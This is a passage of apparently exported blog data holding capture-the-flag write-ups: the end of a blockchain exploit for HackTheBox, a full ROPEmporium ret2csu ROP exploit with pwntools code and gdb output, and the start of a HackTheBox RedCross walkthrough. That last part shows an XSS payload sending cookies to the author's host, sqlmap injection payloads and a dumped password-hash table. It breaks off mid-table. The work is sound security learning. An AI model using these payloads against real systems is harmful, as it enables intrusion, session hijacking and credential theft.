in the exploit() function, we can call pool.withdraw(101) to withdraw funds from the LoanPool. As the deposit and withdraw functions were called symmetrically, the totalSupply of the LoanPool stays the same, while the balance reduces as we tricked the LoanPool into thinking we repaid it with its own funds. Here are the commands I used to set up the vulnerable contracts on the Sepolia testnet, and exploit them with the Foundry framework:\n$ forge create Setup --private-key $PRIV_KEY --constructor-args \u0026lt;MY_USER_ADDRESS\u0026gt; $ cast call \u0026lt;SETUP_CONTRACT_ADDRESS\u0026gt; \u0026#34;isSolved()(bool)\u0026#34; --private-key $PRIV_KEY false $ forge create Solution --private-key $PRIV_KEY $ cast send \u0026lt;TOKEN_CONTRACT_ADDR\u0026gt; \u0026#34;approve(address,uint256)\u0026#34; --private-key $PRIV_KEY -- \u0026lt;SOLUTION_CONTRACT_ADDR\u0026gt; 10000000000000000000 $ cast send \u0026lt;SOLUTION_CONTRACT_ADDR\u0026gt; \u0026#34;exploit()\u0026#34; --private-key $PRIV_KEY $ cast call \u0026lt;SETUP_CONTRACT_ADDRESS\u0026gt; \u0026#34;isSolved()(bool)\u0026#34; --private-key $PRIV_KEY true Note the requirement to approve() my Solution contract to be able to transfer tokens on behalf of my user. This needs to be done BEFORE the Solution contract is called.\nThank you to the crew at HTB for helping me learn, and for a successful CTF!\n","date":"22 March 2024","externalUrl":null,"permalink":"/posts/hack-the-box-cyber-apocalypse-ctf-2024-blockchain-challenges/","section":"Posts","summary":"My write-up for the Blockchain challenges from HackTheBox Cyber Apocalypse CTF 2024","title":"HackTheBox Cyber Apocalypse CTF 2024 Blockchain Challenges","type":"posts"},{"content":"","date":"22 March 2024","externalUrl":null,"permalink":"/tags/htb/","section":"Tags","summary":"","title":"Htb","type":"tags"},{"content":"","date":"22 March 2024","externalUrl":null,"permalink":"/tags/writeup/","section":"Tags","summary":"","title":"Writeup","type":"tags"},{"content":"","date":"21 February 2023","externalUrl":null,"permalink":"/tags/pwn/","section":"Tags","summary":"","title":"Pwn","type":"tags"},{"content":"","date":"21 February 2023","externalUrl":null,"permalink":"/tags/rop/","section":"Tags","summary":"","title":"Rop","type":"tags"},{"content":"","date":"21 February 2023","externalUrl":null,"permalink":"/tags/ropemporium/","section":"Tags","summary":"","title":"Ropemporium","type":"tags"},{"content":"In this post, I will be explaining my solution for the Ret2CSU challenge from ROPEmporium. The challenge can be found here: https://ropemporium.com/challenge/ret2csu.html\nROPEmporium challenges are awesome for learning Return Oriented Programming (ROP) with small and fairly easy-to-analyse binaries. Ret2CSU is the 8th and (currently) final stage of ROPEmporium and involves a binary with no custom ROP gadgets added to it. You have to work with the \u0026ldquo;attached code\u0026rdquo; added to the binary by the compiler, and your goal is to execute the ret2win function.\nHere are some tools I recommend for these types of binary challenges:\nGDB with the PEDA extension (for debugging) objdump (for dissassembling and finding symbol addresses) readelf (for looking at the ELF header and symbols) pwntools python library (for creating exploits) ROPgadget (for finding ROP gadgets available in the binary) In the challenge, we are provided a flag.txt file and the executable to compromise (named ret2csu). Let\u0026rsquo;s run file on it to make sure it\u0026rsquo;s what we expect:\n$ file ret2csu ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a799b370a24ba0109f1175f31b3058094b5feab5, not stripped OK cool! So it\u0026rsquo;s a 64 bit ELF executable with dynamically linked libraries. The symbols also haven\u0026rsquo;t been stripped, which is nice :)\nNext we can execute it in a sandbox environment and see what happens:\n$ ./ret2csu ret2csu by ROP Emporium Call ret2win()The third argument (rdx) must be 0xdeadcafebabebeef The executable just prints out some text and asks us to call ret2win, making sure the third argument to it (which is in rdx) is equal to 0xdeadcafebabebeef.\nNote that there\u0026rsquo;s a great reference for 64-bit syscalls here: https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/. This site shows that parameters to parsed in using the following registers: RDI, then RSI, then RDX.\nLet\u0026rsquo;s also run checksec on the binary (provided with GDB PEDA) to see what protections it has:\n$ gdb ret2csu -q Reading symbols from ret2csu...(no debugging symbols found)...done. gdb-peda$ checksec CANARY - : disabled FORTIFY : disabled NX - - : ENABLED PIE - : disabled RELRO - : Partial Above we can see that NX is enabled (hence we have to use ROP), CANARY is disabled (so we don\u0026rsquo;t have to bypass a stack canary), and PIE is disabled (so we know the addresses of the binary itself are predictable). Next, as we know this is a buffer overflow challenge, we can run the binary with GDB and provide a large value as the input to see what happens:\n$ gdb ret2csu -q Reading symbols from ret2csu...(no debugging symbols found)...done. gdb-peda$ pattern create 500 \u0026#39;AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A\u0026#39; gdb-peda$ r Starting program: /root/Documents/hackthebox/ropemporium/ret2csu/ret2csuret2csu by ROP Emporium Call ret2win() The third argument (rdx) must be 0xdeadcafebabebeef \u0026gt; AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A I created a unique pattern with pattern create and then sent it to the program. The program crashes straight away and GDB PEDA shows me the following output:\nProgram received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x601038 --\u0026gt; 0x0 RBX: 0x0 RCX: 0xfbad2288 RDX: 0x7fffffffe0d0 (\u0026#34;AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW\u0026#34;) RSI: 0x7ffff7f998d0 --\u0026gt; 0x0 RDI: 0x0 RBP: 0x6141414541412941 (\u0026#39;A)AAEAAa\u0026#39;) RSP: 0x7fffffffe0f8 (\u0026#34;AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW\u0026#34;) RIP: 0x4007b0 (\u0026lt;pwnme+156\u0026gt;:\tret) R8 : 0x0 R9 : 0x7ffff7f9e500 (0x00007ffff7f9e500) R10: 0x602010 --\u0026gt; 0x0 R11: 0x246R12: 0x4005f0 (\u0026lt;_start\u0026gt;:\txor - ebp,ebp) R13: 0x7fffffffe1e0 --\u0026gt; 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4007a7 \u0026lt;pwnme+147\u0026gt;:\tmov - rdi,0x0 0x4007ae \u0026lt;pwnme+154\u0026gt;:\tnop 0x4007af \u0026lt;pwnme+155\u0026gt;:\tleave =\u0026gt; 0x4007b0 \u0026lt;pwnme+156\u0026gt;:\tret 0x4007b1 \u0026lt;ret2win\u0026gt;:\tpush rbp 0x4007b2 \u0026lt;ret2win+1\u0026gt;:\tmov - rbp,rsp 0x4007b5 \u0026lt;ret2win+4\u0026gt;:\tsub - rsp,0x30 0x4007b9 \u0026lt;ret2win+8\u0026gt;:\tmov - DWORD PTR [rbp-0x24],edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe0f8 (\u0026#34;AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW\u0026#34;) 0008| 0x7fffffffe100 (\u0026#34;bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW\u0026#34;) 0016| 0x7fffffffe108 (\u0026#34;AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW\u0026#34;) 0024| 0x7fffffffe110 (\u0026#34;AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW\u0026#34;) 0032| 0x7fffffffe118 (\u0026#34;IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW\u0026#34;) 0040| 0x7fffffffe120 (\u0026#34;AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW\u0026#34;) 0048| 0x7fffffffe128 (\u0026#34;AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW\u0026#34;) 0056| 0x7fffffffe130 (\u0026#34;6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW\u0026#34;) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004007b0 in pwnme () The crash is when the program is trying to run ret, which pops the first 64 bits off the stack and jumps to that location. As the top of the stack is pointing to our unique pattern, the program is unable to jump to it as a location and crashes with a segfault. So let\u0026rsquo;s find the offset of the top of the stack:\ngdb-peda$ pattern offset AA0AAFAAbAA AA0AAFAAbAA found at offset: 40 Great! Now we can create a sample python exploit and test whether we can control the flow of the application at this offset. Below, I use pwntools to create a template for my exploit code:\n$ pwn template ret2csu \u0026gt; exploit.py The above line creates an executable python script with some nice template code, with features such as:\ncreating a pwntools process object to allow us to interact with the process parsing arguments to enable or disable remote GDB debugging automatically executes checksec on the binary and puts it in a comment in our exploit Now to get to our actual ROP chain! Let\u0026rsquo;s find the addresses of the symbols and gadgets we need! First, we need the address of the ret2win function. We can use objdump to help us with this:\n$ objdump -D ret2csu -M intel | grep ret2win 00000000004007b1 \u0026lt; ret2win\u0026gt;: Note that I disassembled all sections in the binary using -D and asked for the output to be in intel syntax using -M intel. Next, we can use ROPgadget to find gadgets. We know that we want to control the value in RDX, so we can look for any instructions with pop or rdx in them:\n$ ROPgadget --binary ret2csu | grep pop \u0026lt;---------snipped output---------\u0026gt; 0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret $ ROPgadget --binary ret2csu | grep rdx 0x0000000000400567 : lea ecx, dword ptr [rdx] ; and byte ptr [rax], al ; test rax, rax ; je 0x40057b ; call rax 0x000000000040056d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret We have a really nice gadget for controlling the registers R12,R13,R14,R15, however we don\u0026rsquo;t have any nice gadgets for controlling what goes into rdx.\nUsing objdump -D ret2csu -M intel we find that the above pop gadget is actually in the \u0026lt;__libc_csu_init\u0026gt; section of the codebase, and has a few more pop instructions before it:\n40089a:\t5b - - - - pop - rbx 40089b:\t5d - - - - pop - rbp 40089c:\t41 5c - - - - pop - r12 40089e:\t41 5d - - - - pop - r13 4008a0:\t41 5e - - - - pop - r14 4008a2:\t41 5f - - - - pop - r15 4008a4:\tc3 - - - - ret This must be the section the challenge title is referring to! So we look for other code in this section which we may be able to use to control RDX, and we find the following interesting code:\n400880:\t4c 89 fa - - - mov - rdx,r15 400883:\t4c 89 f6 - - - mov - rsi,r14 400886:\t44 89 ef - - - mov - edi,r13d 400889:\t41 ff 14 dc - - call QWORD PTR [r12+rbx*8] The above gadget, also found in the CSU section, uses the registers we control (r12,r13,r14,r15) in mov instructions and a call instruction. This is great! We can treat the call like a jmp instruction as long as we control the contents of r12 and rbx, where the address jumped to is calculated as follows:\n\\(ptr(r12 + rbx * 8)\\)\nAs part of the first mov instruction, we see that the value in r15 is copied into rdx. This means we can use our first gadget to pop a value of our choice into r15 and then use the second gadget to copy this value into rdx!\nOK we\u0026rsquo;re getting somewhere. Let\u0026rsquo;s set up our initial payload to set RDX to the value we want and set all other registers to 0x00:\nio = start() # mov r15 -\u0026gt; rdx, mov r14 -\u0026gt; rsi, mov r13d -\u0026gt; edi, call ptr(r12 + rbx*8) movAndCall = p64(0x400880) # pop in the following order: rbx, rbp, r12, r13, r14, r15 popAllRegisters = p64(0x40089a) ret2win = p64(0x04007b1) valueForRdx = p64(0xdeadcafebabebeef) initial = \u0026#34;A\u0026#34;*40 payload = initial + popAllRegisters + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + valueForRdx + movAndCall io.send(payload) open(\u0026#39;output\u0026#39;,\u0026#39;w\u0026#39;).write(payload) io.interactive() As we have set r12 and rbx to 0x00, we expect the program to crash when it tries to execute call [0x00]. To help test my payload, I\u0026rsquo;ve also added the second last line to output my payload to a file. I can then easily pass my payload to the application from within GDB. After running ./exploit.py, I have a file named output in my folder, and I run the application in GDB as follows:\n$ gdb ret2csu -q Reading symbols from ret2csu...(no debugging symbols found)...done. gdb-peda$ r \u0026lt; output Starting program: ret2csu \u0026lt; output ret2csu by ROP Emporium Call ret2win() The third argument (rdx) must be 0xdeadcafebabebeef Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x601038 --\u0026gt; 0x0 RBX: 0x0RCX: 0xfbad2098 RDX: 0xdeadcafebabebeef RSI: 0x0RDI: 0x0 RBP: 0x0 RSP: 0x7fffffffe138 --\u0026gt; 0x5d2334019ad6ff00 RIP: 0x400889 (\u0026lt;__libc_csu_init+73\u0026gt;:\tcall QWORD PTR [r12+rbx8]) R8 : 0x0 R9 : 0x77 (\u0026#39;w\u0026#39;) R10: 0x602010 --\u0026gt; 0x0 R11: 0x246 R12: 0x0 R13: 0x0 R14: 0x0 R15: 0xdeadcafebabebeef EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400880 \u0026lt;__libc_csu_init+64\u0026gt;:\tmov - rdx,r15 0x400883 \u0026lt;__libc_csu_init+67\u0026gt;:\tmov - rsi,r14 0x400886 \u0026lt;__libc_csu_init+70\u0026gt;:\tmov - edi,r13d =\u0026gt; 0x400889 \u0026lt;__libc_csu_init+73\u0026gt;:\tcall QWORD PTR [r12+rbx8] 0x40088d \u0026lt;__libc_csu_init+77\u0026gt;:\tadd - rbx,0x1 0x400891 \u0026lt;__libc_csu_init+81\u0026gt;:\tcmp - rbp,rbx 0x400894 \u0026lt;__libc_csu_init+84\u0026gt;:\tjne - 0x400880 \u0026lt;__libc_csu_init+64\u0026gt; 0x400896 \u0026lt;__libc_csu_init+86\u0026gt;:\tadd - rsp,0x8 Guessed arguments: arg[0]: 0x0 arg[1]: 0x0 arg[2]: 0xdeadcafebabebeef [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe138 --\u0026gt; 0x5d2334019ad6ff00 0008| 0x7fffffffe140 --\u0026gt; 0x4005f0 (\u0026lt;_start\u0026gt;:\txor - ebp,ebp) 0016| 0x7fffffffe148 --\u0026gt; 0x7fffffffe1e0 --\u0026gt; 0x1 0024| 0x7fffffffe150 --\u0026gt; 0x0 0032| 0x7fffffffe158 --\u0026gt; 0x0 0040| 0x7fffffffe160 --\u0026gt; 0xa2dccb7e4876ffdc 0048| 0x7fffffffe168 --\u0026gt; 0xa2dcdb418af0ffdc 0056| 0x7fffffffe170 --\u0026gt; 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000400889 in __libc_csu_init () OK great! We have a successful crash as predicted at 0x400889! We can also see that the values of our registers r12 and rbx are set to 0x0.\nHere is the tricky bit of this challenge. I mistakenly tried putting the address of ret2win in r12 and keeping 0x0 in rbx, assuming that the call would jump to ret2win, but this was an incorrect assumption as the call instruction actually dereferences the calculated value first and then jumps to what it points to.\nBeing stuck here for a bit, I thought about placing the address of ret2win on the stack and the address of the stack in r12, which should dereference correctly, but didn\u0026rsquo;t find any useful gadget for doing this. The alternative is to find a location in the binary which points to another location in the codebase, and continue execution from there.\nDisassembling all sections again and looking through for pointers to code (which I know has addresses after 0x400000), I find some interesting parts added by the compiler again:\nDisassembly of section .init_array: 0000000000600e10 \u0026lt;__frame_dummy_init_array_entry\u0026gt;: 600e10:\td0 06 - - - - rol - BYTE PTR [rsi],1 600e12:\t40 00 00 - - - add - BYTE PTR [rax],al 600e15:\t00 00 - - - - add - BYTE PTR [rax],al ... Disassembly of section .fini_array: 0000000000600e18 \u0026lt;__do_global_dtors_aux_fini_array_entry\u0026gt;: 600e18:\ta0 - - - - .byte 0xa0 600e19:\t06 - - - - (bad) 600e1a:\t40 00 00 - - - add - BYTE PTR [rax],al 600e1d:\t00 00 - - - - add - BYTE PTR [rax],al Looks like at 0x600e10 I have the address 0x4006d0 and at 0x600e18 I have the address 0x4006a0. So if I set r12 to either of these pointers, I should be able get to these addresses. Let\u0026rsquo;s have a look at the code at these addresses:\n00000000004006a0 \u0026lt;__do_global_dtors_aux\u0026gt;: 4006a0:\t80 3d d1 09 20 00 00 cmp - BYTE PTR [rip+0x2009d1],0x0 - - # 601078 \u0026lt;completed.7696\u0026gt; 4006a7:\t75 17 - - - - jne - 4006c0 \u0026lt;__do_global_dtors_aux+0x20\u0026gt; 4006a9:\t55 - - - - push rbp4006aa:\t48 89 e5 - - - mov - rbp,rsp 4006ad:\te8 7e ff ff ff - call 400630 \u0026lt;deregister_tm_clones\u0026gt; 4006b2:\tc6 05 bf 09 20 00 01 mov - BYTE PTR [rip+0x2009bf],0x1 - - # 601078 \u0026lt;completed.7696\u0026gt; 4006b9:\t5d - - - - pop - rbp 4006ba:\tc3 - - - - ret 4006bb:\t0f 1f 44 00 00 - nop - DWORD PTR [rax+rax1+0x0] 4006c0:\tf3 c3 - - - - repz ret 4006c2:\t0f 1f 40 00 - - nop - DWORD PTR [rax+0x0] 4006c6:\t66 2e 0f 1f 84 00 00 nop - WORD PTR cs:[rax+rax1+0x0] 4006cd:\t00 00 00 00000000004006d0 \u0026lt;frame_dummy\u0026gt;: 4006d0:\t55 - - - - push rbp 4006d1:\t48 89 e5 - - - mov - rbp,rsp 4006d4:\t5d - - - - pop - rbp 4006d5:\teb 89 - - - - jmp - 400660 \u0026lt;register_tm_clones\u0026gt; They are more functions placed into the binary by the compiler! So, if we take them as functions in their own right, we may be able to assume that they end in a ret which should return us back into \u0026lt;__libc_csu_init\u0026gt; right after our call. The call instruction will automatically put the next instruction onto the stack, so if any of these functions ends in a ret, we will continue execution within \u0026lt;__libc_csu_init\u0026gt;.\nSo as long as this works, the following code should be executed after our call:\n400889:\t41 ff 14 dc - - call QWORD PTR [r12+rbx*8] 40088d:\t48 83 c3 01 - - add - rbx,0x1 400891:\t48 39 dd - - - cmp - rbp,rbx 400894:\t75 ea - - - - jne - 400880 \u0026lt;__libc_csu_init+0x40\u0026gt; 400896:\t48 83 c4 08 - - add - rsp,0x8 40089a:\t5b - - - - pop - rbx 40089b:\t5d - - - - pop - rbp 40089c:\t41 5c - - - - pop - r12 40089e:\t41 5d - - - - pop - r13 4008a0:\t41 5e - - - - pop - r14 4008a2:\t41 5f - - - - pop - r15 4008a4:\tc3 - - - - ret It looks like after our call, we execute a compare instruction, and then as long as that sets the zero flag, we continue execution to our first gadget. This is very convenient that we get back to our first gadget because it ends with a ret, allowing us to finally pass control to ret2win after having set RDX to the value we wanted.\nNow all we need to do is make sure the cmp instruction compares two equal values. It looks like 0x01 is added to rbx and then compared to rbp. Since we control both these registers from our first gadget, we can just set these to 0x00 and 0x01 respectively and continue execution past the jne instruction.\nSo our final payload becomes:\nio = start() # mov r15 -\u0026gt; rdx, mov r14 -\u0026gt; rsi, mov r13d -\u0026gt; edi, call ptr(r12 + rbx*8) movAndCall = p64(0x400880) # pop in the following order: rbx, rbp, r12, r13, r14, r15 popAllRegisters = p64(0x40089a) ret2win = p64(0x04007b1) valueForRdx = p64(0xdeadcafebabebeef) valueForR12 = p64(0x600e18) initial = \u0026#34;A\u0026#34;*40 payload = initial + popAllRegisters + p64(0) + p64(1) + valueForR12 + p64(0) + p64(0) + valueForRdx + movAndCall payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + ret2win io.send(payload) open(\u0026#39;output\u0026#39;,\u0026#39;w\u0026#39;).write(payload) io.interactive() Our payload includes the initial 40 bytes of junk, followed by the call to our first gadget for popping 6 registers. We set rbx to 0x00, rbp to 0x01, r12 to one of the pointers we found, r13 and r14 to whatever, and r15 to the special challenge value. Then the second gadget gets called (movandCall), and we continue execution past the call to add rsp, 0x08 followed by 6 pop\u0026rsquo;s and a ret. So we place 7 64-bit values on the stack and ret to our ret2win address :)\n$ ./exploit.py [] \u0026#39;ret2csu\u0026#39; Arch: - amd64-64-little RELRO: - Partial RELRO Stack: - No canary found NX: - NX enabled PIE: - No PIE (0x400000) [+] Starting local process \u0026#39;ret2csu\u0026#39;: pid 10496 [] Switching to interactive mode $ ROPE{a_placeholder_32byte_flag!} And that\u0026rsquo;s our flag!\nMany thanks to the challenge creator for helping me learn!\n","date":"21 February 2023","externalUrl":null,"permalink":"/posts/ropemporium-ret2csu/","section":"Posts","summary":"My write-up for the Ret2CSU challenge from ROPEmporium","title":"ROPEmporium: Ret2CSU Write-up","type":"posts"},{"content":"This is my write-up for the HackTheBox Machine named RedCross. As usual, a large thanks to the creators of the machine who have put a lot of effort into it, and allowed me and many others to learn a tremendous amount.\nLet\u0026rsquo;s get straight into it!\nEnumeration # A quick top 10000 TCP port scan reveals the following ports as open:\n$ nmap 10.10.10.113 Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-14 13:51 AEDT Nmap scan report for intra.redcross.htb (10.10.10.113) Host is up (0.37s latency). Not shown: 997 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https As we have a HTTPS server running, we can use sslscan to extract any domain names used in the ssl certificate:\n$ sslscan 10.10.10.113 Version: 1.11.12-static OpenSSL 1.0.2-chacha (1.0.2g-dev) Connected to 10.10.10.113 Testing SSL server 10.10.10.113 on port 443 using SNI name 10.10.10.113 \u0026lt;-----snip-----\u0026gt; SSL Certificate: Signature Algorithm: sha256WithRSAEncryption RSA Key Strength: 2048 Subject: intra.redcross.htb Issuer: intra.redcross.htb Not valid before: Jun 3 19:46:58 2018 GMT Not valid after: Feb 27 19:46:58 2021 GMT Great! We can now add intra.redcross.htb to our /etc/hosts file and map it to 10.10.10.113. Next, we can visit the webpage and see what we find!\nHere, we see a login page, and a link to a contact form. Immediately, we can think of trying SQL injection in the login form or trying to guess usernames and passwords. But that would be too easy, so let\u0026rsquo;s look around a bit more. Next we follow the Contact Me page.\nHere, we see a form which apparently allows us to contact the administrator of the redcross website. We also notice that the footer of the website says eb messaging system 0.3b. The most likely vulnerability in a page like this is a Cross Site Scripting (XSS) vulnerability, where if the administrator views our submitted messages, we may be able to steal their session token.\nGaining an initial foothold # So let\u0026rsquo;s try submitting the following XSS payload in all the fields in the contact form (including request title, details, and contact phone):\n\u0026lt;img src=x onerror=this.src=\u0026#39;http://10.10.12.83:8081/?c=\u0026#39;+document.cookie\u0026gt; Note that my allocated IP address in the hackthebox network is 10.10.12.83, and we are using an image tag to make a request to port 8081 on my machine with any cookies found in the browser\u0026rsquo;s cookie jar. Only cookies without the httpOnly flag can be retrieved using this attack.\nAfter a few tries, we notice that if we submit a XSS payload in the details field, the website complains that we are trying to \u0026ldquo;do something nasty\u0026rdquo;. However, if we only include the payload in the contact phone field, the website doesn\u0026rsquo;t complain.\nAfter a few seconds, we see a cookie sent to us from the RedCross machine!\n$ python -m SimpleHTTPServer 8081 Serving HTTP on 0.0.0.0 port 8081 ... 10.10.10.113 - - [12/Nov/2018 00:05:08] \u0026#34;GET /?c=PHPSESSID=b01tmdbt5sea98jcf7ojmchpq5;%20LANG=EN_US;%20SINCE=1541941507;%20LIMIT=10;%20DOMAIN=admin HTTP/1.1\u0026#34; 200 - Thus, it is likely the case that there is a script running on the RedCross server which is opening our messages in a browser where the user is logged in as admin.\nGreat! So we have 5 different cookies that are in the admin\u0026rsquo;s cookie jar including PHPSESSID, LANG, SINCE, LIMIT and DOMAIN. Now, let\u0026rsquo;s use admin\u0026rsquo;s cookie of PHPSESSID=b01tmdbt5sea98jcf7ojmchpq5 and see if we are logged in as admin. Note that I used the Cookie Editor Firefox cookie manager to edit my cookies, and just add the one PHPSESSID cookie for now.\nInteresting! Straight away, we are logged in as admin, and we see an interesting error:\nDEBUG INFO: You have an error in your SQL syntax; check the manual thatcorresponds to your MariaDB server version for the right syntax to use near \u0026#39;\u0026#39;at line 1 Another thing we notice is that two of the cookies seem to have names that are also related to SQL queries i.e. SINCE and LIMIT. So we add these cookies to our own browser\u0026rsquo;s cookie jar and reload the page.\nHere, we see one input field, and entering a UserID of 1 leads us to the following page: https://intra.redcross.htb/?o=1\u0026amp;page=app\nOK so now we know that there is an SQL query being performed, and the database is likely to be MariaDB. Let\u0026rsquo;s setup a request for SQLMap:\n$ cat sqlquery2 GET /?o=1\u0026amp;page=app HTTP/1.1 Host: intra.redcross.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://intra.redcross.htb/?page=app Cookie: PHPSESSID=b01tmdbt5sea98jcf7ojmchpq5; SINCE=1541941507; LIMIT=10; DOMAIN=adminConnection: close Upgrade-Insecure-Requests: 1 Running SQLMap with this request tells us that we have found SQL injection! Specifically, we find it using the o parameter:\n$ sqlmap -r sqlquery2 -p o GET parameter \u0026#39;o\u0026#39; is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 372 HTTP(s) requests: --- Parameter: o (GET) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: o=1\u0026#39;) RLIKE (SELECT (CASE WHEN (1376=1376) THEN 1 ELSE 0x28 END))-- wPRJ\u0026amp;page=app Type: error-based Title: MySQL \u0026gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: o=1\u0026#39;) AND (SELECT 5668 FROM(SELECT COUNT(*),CONCAT(0x7176707671,(SELECT (ELT(5668=5668,1))),0x7171706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- xTXu\u0026amp;page=app Type: AND/OR time-based blind Title: MySQL \u0026gt;= 5.0.12 AND time-based blind Payload: o=1\u0026#39;) AND SLEEP(5)-- qNHG\u0026amp;page=app [14:40:53] [INFO] the back-end DBMS is MySQL Unfortunately, trying SQLMap\u0026rsquo;s --os-shell flag didn\u0026rsquo;t work, likely because the database server does not have rights to write a file on the server. So we look for sensitive data in the database instead. We find that the main database is called redcross, and it has a table named users. We dump this table as follows:\n$ sqlmap -r sqlquery2 -D redcross -T users --dump +----+------+------------------------------+----------+--------------------------------------------------------------+ | id | role | mail | username | password | +----+------+------------------------------+----------+--------------------------------------------------------------+ | 1 | 0 | admin@redcross.htb | admin | $2y$10$z/d5GiwZuFqjY1jRiKIPzuPXKt0SthLOyU438ajqRBtrb7ZADpwq. | | 2 | 1 | penelope@redcross.htb | penelope | $2y$10$tY9Y955kyFB37GnW4xrC0.J.FzmkrQhxD..vKCQICvwOEgwfxqgAS | | 3 | 1 | charles@redcross.htb | charles | $2y$10$bj5Qh0AbUM5wHeu/lTfjg.xPxjRQkqU6T8cs683Eus/Y89GHs.G7i | | 4 | 100 | tricia.wanderloo@contoso.com | tricia | $2y$10$Dnv/b2ZBca2O4cp0fsBbjeQ/0HnhvJ7WrC/ZN3K7QKqTa9SSKP6r. | | 